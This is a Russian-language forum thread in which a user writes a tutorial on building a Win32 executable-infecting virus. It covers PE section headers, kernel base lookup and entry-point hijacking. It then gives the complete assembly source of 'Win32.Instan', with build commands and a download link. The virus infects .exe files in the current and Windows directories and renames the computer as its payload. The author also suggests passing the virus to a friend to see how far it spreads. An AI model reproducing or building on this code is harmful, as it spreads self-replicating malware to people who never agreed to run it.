РЕ файл поделен на секции (секция кода, данных...). Для каждой секции есть структура, которая описывает её (object entry). Все структуры находятся одна за другой за заголовком и имеют такой формат:

Object Entry: = 28h bytes

RVA Size Name Description
00h 8 байт Object Name Имя объекта (секции)
08h DWord Virtual Size Виртуальный размер секции (в памяти)*
0Ch DWord Section RVA RVA секции (в памяти, относительно Image Base)*
10h DWord Рhysical Size Физический размер секции (в файле)*
14h DWord Physical Offset Физическое смещение (в файле, относительно его начала)*
18h 12 байт Reserved В EXE не используется (для OBJ)
24h DWord Object Flags Битовые флаги секции*


Я пометил * те поля, которые нас больше всего интересуют. Виртуальный размер секции - это размер секции (когда она загружена в памяти), выравненный по SectionAlignment. Если мы записали в последнюю секцию код, то должны увеличить это поле для последней секции (не для каждой секции). Кстати, загрузчик контролирует выполнение равенства HeaderSize+Summa(VirtualSize[i],i)=Size Of Image (все значения выровнять по SectionAlignment)

Section RVA - это адрес (RVA относительно ImageBase) начала секции, когда она загружена в память. Используется для нахождения новой точки входа
Physical Size - размер секции, когда она в файле. Выровненное по File Alignment. Должно быть увеличено на длину виря, выровненную по File Alignment
Physical Offset - смещене cекции относительно начала файла. Используем для поиска секции в файле.
Object Flags - флаги. Могут иметь следующие значения или их комбинацию.

Object Flags:
*00000020h Секция содержит программный код
00000040h Секция содержит инициализированные данные
00000080h Секция содержит неинициализированные данные
*20000000h Секция является исполняемой (см. флаг 00000020h)
40000000h Секция только для чтения
*80000000h Секция может использоваться для записи и чтения

Мы же будем устанавливать это поле в 0A0000020h (это комбинация отмеченных полей). Кстати pewrsec.exe, который я прикрепил в начале туториала, изменяет флаги всех секций на 0A0000020h, что позволяет нам работать с переменными, которые находятся в секции кода (и чего на него так ругаться?). Если боитесь использовать эту программу, то можете сделать для этого свою (когда мы закончим писать вирус вы будете в состоянии это сделать самостоятельно, хотя по просьбам трудящихся могу накодить и выложить код).


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 12.01.2005 17:41
Сообщение #16


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


То есть, для успешного заражения надо пофиксить ещё и вышеописанную структуру для секции, которую заменили. Это Сложность №1.
Сложность №2 - нахождение новой точки входа (RVA нашего кода относительно ImageBase).
Тут всё просто. Мы пишемся в конец секции? RVA секции + Virtual Size = новый RVA!!!! Думаю с этим вы сами разберётесь.
Сложность №3. Передача управления носителю.
Тут всё ещё проще. Адрес старой точки входа мы знаем (RVA относительно ImageBase), ImageBase тоже знаем, тогда для корректной передачи управления нам нужно сделать Jump на старую точку, для чего надо знать её VA=RVA + ImageBase (это вам дельту не напоминает?)
Сложность №4. Определение носителя первого поколения. Как известно, дельта первого поколения равна 0. Ведь в первом поколении нам не надо передавать управление носителю.
Сложность №5. Самое сложное - распихать всё, что нам нужно по переменным так, чтоб потом найти. При работе с переменными не забывайте учитывать дельту.
Сложность №6. Проверить работу, довести всё до ума. Посмотреть под отладкой, посмотреть как размножается (как быстро). Подсунуть другу (когда знаете, что работает и не портит ничего), прийти к нему через неделю, посмотреть, как всё отработано, сколько заражено. Потом, если не лень, оптимизировать (наш вирус не будет блистать оптимальностью и скоростью распространения (версия, где это будет сделано находится на стадии разработки), это сделано для того, чтоб вам было чем заняться). Не бойтесь за свой комп. Первые версии тестируйте на дискетах или в отдельных папках. Когда уверенны, что вирус не портит ничего, можете добавить "полезную нагрузку" - то, что вирус делает помимо заражения (вирус, который будет у нас, будет менять имя компа).

Если вы боитесь вируса, который написали (боитесь его пускать погулять у себя на компе), то это:
а) вирус, который убивает систему, зануляет биос, сжигает монитор... В этом случае обратитесь к психиатру, вы опасный для общества человек
б) нежелание переустанавливать систему в случае ошибки, боязнь потерять данные... Тогда вам надо бороться с ленью, записать самые важные данные на болванки или туда, где их ничего не достанет или прекратить писать вирусы, удалить все исходники вирусов с компьютера.

Всё остальное расскажу в комментариях к коду.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 12.01.2005 17:42
Сообщение #17


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


7.1 Пишем код
Для разминки напишем прогу, которая определяет адрес Кернела на той системе, где она запущена.

includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;функции для работы проги

.386
.model flat
.data

; надпись в заголовке сообщения
szTitle db 'kernel base search prog', 0

; начало сообщения
szMessage db 'ADDR OF KERNEL BASE ON YOUR COMPUTER IS: '

;тут будет лежать символьное представление адреса кернела
k_addr_str dd 0, 0

; после адреса переходим на новую строку и печатаем ещё строку
db 0ah, 0dh,'by FreeMan ©. Kiev 2004', 0

.code

start:
call delta
delta:
; так как это немного переделанный кусок вируса, поиск дельты остался
sub dword ptr [esp], offset delta

R_SEH:
xor edx, edx
mov eax, fs:[edx]
dec edx

search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp search32

check32:
mov eax, [eax+4]
xor ax, ax
searchMZ:
cmp word ptr [eax], 5A4Dh
je IsPe
sub eax, 10000h
jmp searchMZ
IsPe:
mov edx, [eax+3ch]
cmp [eax+edx], 4550h
jne Exit
; этот кусок я объяснил

write:
mov ecx, 8 ; начинаем переводить адрес в символы

; пихаем в esi адрес места, куда будем пихать символы
mov esi, offset k_addr_str
add esi, 7 ; с конца это делать удобней
loops:
mov ebx, eax ; сохраняем eax, мы будем его использовать
and al, 0fh ; обнуляем старший байт
cmp al, 0ah ; сравниваем с 10
jl mensh
add al, 7h ; если больше, то имеем дело с символом
mensh:
add al, 30h
pechat:
mov byte ptr [esi], al ; суём al и строку (это уже печатный символ)
dec esi ; указатель на следующую позицию
mov eax, ebx ; достаём сохранённый еах
shr eax, 4 ; убираем полбайта, которые обработали
loop loops ; повторяем
xor eax, eax ; обнулить еах для последующего использования в функции

push 30h
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
; вызов функции вывода сообщения

Exit:
push 0
call ExitProcess
; выход из проги
end start


Можете компилировать и юзать.
для компиляции:
Tasm32.exe /m3 /ml /zi iasdf.asm , , ;
Tlink32.exe /Tpe /aa /v iasdf, iasdf, ,import32.lib
iasdf - имя проги
юзать: запускать файл, в нашем случае iasdf.ехе.
Если заметите ошибки в коде (или материале) - пишите, стучите, звоните... Просто писал перевод в символы без проверки (нет компилятора), используя не самый лучший алгоритм (просто он простой для понимания:))

Поюзав эту прогу на нескольких компах с разными операционками вы увидите, что база кернела вполне зафиксированное значение для каждой операционки.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 12.01.2005 18:03
Сообщение #18


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Кстати, вышел номер 29А... http://www.vx.netlux.org/29a/main.html


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 14.01.2005 16:51
Сообщение #19


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Теперь пришло время писать код.

includelib import32.lib
extrn ExitProcess: near
extrn MessageBoxA: near
;нам нужны эти АПИ исключительно в первом поколении

.386
;модель проца (вирус будет запускаться на процессорах 80386 и выше)

.model flat
;плоская модель (позволяет использовать до 4гб памяти)

jumps
;не прыгаем за пределы

.data
; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит
dibilizm_dlya_tupogo_kompilyatora db 0
.code
start:
call delta
; начинаем код с поисков дельты
delta:
sub dword ptr [esp], offset delta
; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес.
; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении

xor edx, edx ; в edx - 0 будем использовать при поиске кернела
mov ebp, [esp] ; в ebp - дельту

R_SEH:
mov eax,fs:[edx]
dec edx

search32:
cmp [eax], edx
je check32
mov eax, [eax]
jmp short search32

check32:
mov eax,[eax+4]
xor ax,ax
searchMZ:
cmp word ptr [eax],5A4Dh ; MZ
je IsPe
sub eax, 10000h
jmp short searchMZ

IsPe:
mov edx,[eax+3ch]
cmp [eax+edx],4550h ; PE
jne Exit
; kernel found

get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch]
xchg eax, ebx ; in ebx kernelBase
mov ecx, 3
loop_lodsd:
lodsd
add eax, ebx
push eax
dec cl
jnz loop_lodsd

lea edi, [ebp+offset GetWindowsDirectoryA_]
main_loop:
str_lenth:
xor eax,eax
mov esi,edi
s4et:
scasb
jnz s4et
mov edx, esi
sub edi, esi
mov esi, [esp+4]
mov ecx, edi ; ecx=edi=length(string)
searchAPI:
push esi
mov edi, edx
mov esi, [esi]
push ecx
add esi, ebx

cld
rep cmpsb

pop ecx
pop esi
jz equal
inc ax
add esi, 4
jmp searchAPI

equal:
shl eax,1

mov ecx, [esp]
add ecx, eax
mov ecx, [ecx]
and ecx, 0ffffh
shl ecx, 2

mov eax, [esp+4*2]
add eax, ecx
mov eax, [eax]
add eax, ebx
mov [edi], eax

cmp word ptr [edi+4], 0B0BAH
je vse_naideno

add edi, 4
jmp main_loop ; это поиск адресов АПИ. Я уже это описал.
vse_naideno:
mov byte ptr [ebp+numbofdirs], 1
; кол-во директорий, которые заражаем после текущей

lea edi, [ebp+offset szWindowsDirectory]
push Some_pathes
push edi
call [ebp+_GetWindowsDirectoryA]
; находим директорию, где "живёт" винда

FindFirsttttt:
lea eax, [ebp+offset WFD32]
push eax
lea eax, [ebp+offset FN4Search]
push eax

call [ebp+_FindFirstFileA]
; ищем первый файл в текущей директории
inc eax
jz nextdir
dec eax
; в случае провала у нас в еах -1 прибавляем 1 получаем 0.
; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём
; поиски в след. директории (в этом вирусе - в директории винды)
; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...

mov [ebp+offset hFF], eax
; и сохраняем его в переменной

mov ecx, 5 ; кол-во файлов для заражения
push dword ptr [ebp+EIPs]
; это одно из "шатких" мест кода. дело в том, что точка входа определяется
; при заражении файла и записывается в файл в соответствующую переменную.
; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить,
; что и делается при заражении файла, но это портит то значение, которое было
; таким же образом забито в этом поколении. Поэтому мы должны его сохранить,
; чтоб потом можно было его заюзать при передаче управления носителю

modifyIt:
push ecx
; в есх у нас счётчик. Так как мы будем работать с этим регистром,
; то будем его сохранять в начале цикла и восстанавливать в конце
jmp infection
; "прыгаем" на процедуру заражения
infection_done:
; сюда попадаем после заражения найденного файла
PLZNext:
lea eax, [ebp+offset WFD32]
push eax
push dword ptr [ebp+offset hFF]
call [ebp+_FindNextFileA]
pop ecx ; восстанавливаем счётчик
test eax, eax
jz nextdir
; если не находим ещё файл пробуем искать в директории винды
dec cx
jnz modifyIt
; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл.
; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit
; 1) ищем первый файл
; 2) не нашли - шаг 6
; 3) заражаем
; 4) ищем следующий
; 5) нашли - шаг 3
; 6) след. директория
; 7) если есть директория - шаг 1
; 8) выход
Exit:
pop dword ptr [ebp+EIPs]
; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов
call killfind
; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря

lea edi, [ebp+offset NewComp]
push edi
call [ebp+_SetComputerNameA]
; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)

test ebp,ebp
jz first_gen
; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим,
; а во втором надо возвратитьуправление носителю

mov eax, 0666B0BAH
org $-4
EIPs dd 00401000h
jmp eax
; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод
; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте,
; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать
; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки
; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax,
; который совершает прыжок на адрес, который лежит в еах

infection:
; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл
lea eax, [ebp+offset FName]
push dword ptr FAttrNorm
push eax
call [ebp + _SetFileAttributesA]
; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)

xor eax, eax
push eax ; handle to file
push eax ; flags and attributes
push 00000003h ; how to create(OPEN_EXISTING)
push eax ; security attr
push 00000003h ; share mode
push 0c0000000h ; access mode
lea eax, [ebp+offset FName]
push eax ; pointer to file name
call [ebp+_CreateFileA]
; открываем файл, если онсуществует

mov dword ptr [ebp+hFO], eax
; сохраняем хендл в переменной
inc eax
; если в регистре -1, то ...
jz infection_done
; ... ищем следующий файл (заражение этого провалилось)

mov ecx, [ebp+FSizeL]
; FSizeL - младшее слово длины файла (берём из WFD)
xor ebx, ebx
; обнуляем ebx. это нам нужно для работы кода
; ecx - low size
crFM:
mov eax, [ebp+hFO]
xor edx, edx
; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0)
push edx ; name of object
push ecx ; low size
push edx ; high size
push PAGE_READWRITE ; protect
push edx ; security attr
push eax ; handle to file to map
call [ebp+_CreateFileMappingA] ; создаём мэппинг
test eax, eax
jz close_file ; в случае неудачи закрываем файл
mov [ebp+hFM], eax ; в случае успеха сохраняем хендл

xor edx,edx
MVF:
push edx ; number bytes to map
push edx ; offs low
push edx ; offs high
push SRW ; access mode
push eax ; handle by crFM
call [ebp+_MapViewOfFile] ; мэппируем файл в память

test eax, eax
jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл
mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную

test ebx, ebx
jnz dali_bude
; итак, пришло время рассказать о великом значении регистра ebx в нашем коде.
; он работает как флаг. когда его значение 0 - выполняется следующие проверки,
; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем
; следующий. если же там другое значение, то мы перескакиваем проверки, а также
; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг
; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)

add eax,[eax+3Ch]
; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch
; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить
; это число к еах, чтоб получить адрес заголовка
cmp word ptr [eax], 'EP'
; сравниваем сигнатуру
jne UVF
; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)

cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности.
je UVF
; если заражен файл, то его не трогаем, зачем его дважды заражать
; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )

mov ecx, dword ptr [eax+3ch]
; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания
; всего, что можно выровнять.
mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную

inc ebx ; делаем ebx != 0
jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1
step1:
mov eax, vir_size ; в еах длина вируса
call aligning ; выравниваем
al_done:
mov ecx, [ebp+FSizeL] ; в есх длину файла
add ecx, eax ; прибавляем выровненную длину выря
jmp crFM
; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх).
; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс
; на 800h байт (выровненная длина вируса)
dali_bude:
push eax
; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится)
add eax,[eax+3ch] ; теперь найдем заголовок
push eax ; его адрес тоже в стек (удобная это штука)
movzx ecx, word ptr [eax+6]
; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6)
jmp last_sec_find
; прыгаем на процедуру поиска последней секции

продолжение ниже

Сообщение отредактировано: volvo - 26.01.2009 17:45


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 14.01.2005 16:52
Сообщение #20


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


ls_found:
; сюда попадём после того, как найдена последняя (физически и виртуально) секция.
; регистры изменятся
; esi=edi=VA of last section
; edx - виртуальное смещение of last section
; ebx - физическое смещение of last section
; флаги всех секций установлены в 0а0000020

pop esi
mov eax, dword ptr [esi+28h] ; берём rva точки входа
add eax, dword ptr [esi+34h] ; добавляем базу, получаем va
mov dword ptr [ebp+EIPs],eax
; этот адрес кидаем в переменную, которая когда-то станет значением еах.
pop eax ; вспомним начало файла
push esi
push edi
; запомним адрес заголовка и адрес начала структуры описания последней секции

mov edi, [edi+10h]
; в edi - размер секции

lea edi, [ebx+edi]
; в edi - размер секции + физическое смещение последней секции = смещение
; последнего байта секции (относительно начала)
add edi, eax
;прибавляем адрес начала получаем VA
mov ecx, vir_size
;в есх - длину вируса
lea esi, [ebp+offset start]
; esi указывает на начало
rep movsb
; копирует один байт из памяти по адресу ds:esi в память по адресу es:edi есх раз
; то есть после этого вирус перекачует в память начиная с конца последней секции
; файла, который заражаем, куда указывает edi. вот и поселились, осталось обосноваться.

pop edi
pop esi
; вспомним адрес заголовка и адрес начала структуры описания последней секции

mov eax, dword ptr [edi+0ch]
; в еах - rva последней секции
add eax, dword ptr [edi+10h]
; + размер секции (до заражения) - получаем rva начала нашего кода
mov dword ptr [esi+28h], eax
; меняем entry point на тот, который указывает на наш код.

mov eax, vir_size
call aligning
; в еах выровненная длина виря

add dword ptr [edi+10h], eax
; её прибавляем к физическому размеру секции
add dword ptr [edi+8], eax
; также к виртуальному

mov eax, dword ptr [edi+0ch]
; в еах - rva последней секции
add eax, dword ptr [edi+8]
; добавляем к ней виртуальный размер, получая значение, которое можно записать ...

mov dword ptr [esi+50h], eax
; ... в поле Size Of Image заголовка
mov dword ptr [esi+44h], 'CPM '
; устанавливаем метку заражения

xor ebx,ebx
; закончили работу с файлом нужно закрыть и искать следующий, а для этого нужно ebx = 0

UVF:
push [ebp+pFM]
call [ebp+_UnmapViewOfFile]
; убираем файл из памяти
close_FM:
push [ebp+hFM]
call [ebp+_CloseHandle]
; закрываем мэппинг
test ebx,ebx
jnz step1
; тут прикол с ebx, о нём выше

close_file:
push [ebp+hFO]
call [ebp+_CloseHandle]
; закрываем файл

jmp infection_done
; переходим к след. файлу

; ======процедурка, которая делает фокус с ebx, что приводит к закрытию файла
zeroid:
xor ebx,ebx
jmp UVF
; ======

; ==========процедурка поиска последней (физически и виртуально) секции
; eax - pe header va
last_sec_find:
movzx edi, word ptr [eax+14h]
; в edi размер заголовка без учёта IMAGE_FILE_HEADER (18h)
lea eax,[eax+edi+18h]
; прибавляем 18h и адрес начала файла, получаем смещение начала таблицы секций

mov ebx, [eax+14h]
; в ebx - физическое смещение первой
mov edx, [eax+0ch]
; в edx - виртуальное смещение первой

scoffs:
mov [eax+24h], 0A0000020h
; фиксим флаги
cmp ebx, [eax+14h]
; сравниваем физическое смещение текущей секции с физическим следующей
ja shvrva
; если текущее больше идём сравнивать виртуальные
mov ebx, [eax+14h]
; если нет - запоминаем его
mov esi, eax
; в esi адрес структуры с большим физическим смещением

shvrva:
cmp edx, [eax+0ch]
; сравниваем вмртуальные
ja nextobj
; если текущее больше, переходим к следующей структуре
mov edx, [eax+0ch]
mov edi, eax
; если нет, действия, аналогичные тем, которые были с физическими

nextobj:
add eax, 28h
; структура имеет размер 28h, то есть, чтоб перейти к следующей,
; нам надо прибавить 28h к текущей
loop scoffs
; так будем перебирать все секции
cmp esi, edi
; посмотрим принадлежат ли самое большое физическое и виртуальное смещение одной секции
je ls_found
; если да, то прыгаем, откуда пришли
pop eax
pop eax
; если нет - восстановим стек
jmp zeroid
; и выйдим
; ====================

; ==============процедура выравнивания
aligning:
; eax - numb to align
mov ecx, [ebp+file_align]
dec ecx
add eax, ecx
not ecx
and eax, ecx
ret
; eax-aligned
; ===============

; ==================работает в первом поколении
first_gen:
xor ebx, ebx

push ebx
push offset szTitle
push offset szmess
push ebx
call MessageBoxA
push ebx
call ExitProcess
; ==================

; =============переход на следующую директорию
nextdir:
cmp byte ptr [ebp+numbofdirs], 0
; если нет больше директорий...
jz Exit
; ...на выход
call killfind
; а так - "убиваем" хендл поиска
lea edi, [ebp+offset szWindowsDirectory]
; идём на директорию винды
push edi
call [ebp+_SetCurrentDirectoryA]
; делаем её текущей для нашего процесса
dec byte ptr [ebp+numbofdirs]
; отнимаем 1 от кол-ва директорий
jmp FindFirsttttt
; ищем первый файл в текущей директории
; ====================

; ==========="убийство" хендла поиска
killfind:
push dword ptr [ebp+offset hFF]
call [ebp+_FindClose]
ret
; ============

FAttrNorm equ 80h ; новые аттрибуты файла
MAX_PATH equ 100h ; максимальное значение длины пути, которое мы допускаем
Some_pathes equ 50h ; длина пути к виндозной директории
vir_size equ (vir_end-start) ; длина вируса
PAGE_READWRITE equ 00000004h
SECTION_MAP_WRITE equ 2h
SECTION_MAP_READ equ 4h
SRW equ SECTION_MAP_WRITE or SECTION_MAP_READ

szTitle db '[Win32.Instan] by FreeMan', 0 ; заголовок окна сообщения
szmess db 'My first win32 virus. [Win32.Instan]', 0ah, 0dh; начало сообщения
db '© by FreeMan[CPM]', 0 ; конец сообщения
NewComp db 'WIN32.Instan', 0 ; новое имя компа

hFF dd 0
hFO dd 0
hFM dd 0
pFM dd 0
; переменные для хранения хендлов

file_align dd 0
; выравнивание файла будет тут : )
numbofdirs db 0
; кол-во директорий

GetWindowsDirectoryA_ db 'GetWindowsDirectoryA', 0
_GetWindowsDirectoryA dd 0
SetCurrentDirectoryA_ db 'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db 'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db 'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db 'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db 'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db 'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db 'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFileAttributesA_ db 'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db 'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db 'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db 'SetComputerNameA', 0
_SetComputerNameA dd 0
my_name_is dw 0B0BAH
; апи, адреса которых надо найти

WFD32:
FAttr dd 0
FCrTime dd 0, 0
FLAcsTime dd 0, 0
FLWTime dd 0, 0
FSizeH dd 0
FSizeL dd 0
FRes dd 0, 0
FName db MAX_PATH dup (0)
AFName db 13 dup (?)
; структура поиска

szWindowsDirectory db Some_pathes dup (0) ; буфер под путь к виндозной директории
FN4Search db '*.exe', 0 ; маска поиска

vir_end:
; метка конца виря
end start
; here is the end of code


исходник лежит в прикреплённом архиве (кодировка - Cyrillic Windows).
компилить:
Tasm32.exe /m3 /ml /zi instan.asm , ,;
Tlink32.exe  /Tpe /aa /v instan, instan, ,import32.lib
pewrsec instan.exe


Прикрепленные файлы
Прикрепленный файл  instan.zip ( 6.37 килобайт ) Кол-во скачиваний: 1113


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 

2 страниц V  1 2 >
 Ответить  Открыть новую тему 
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



- Текстовая версия 1.11.2024 11:35
Хостинг предоставлен компанией "Веб Сервис Центр" при поддержке компании "ДокЛаб"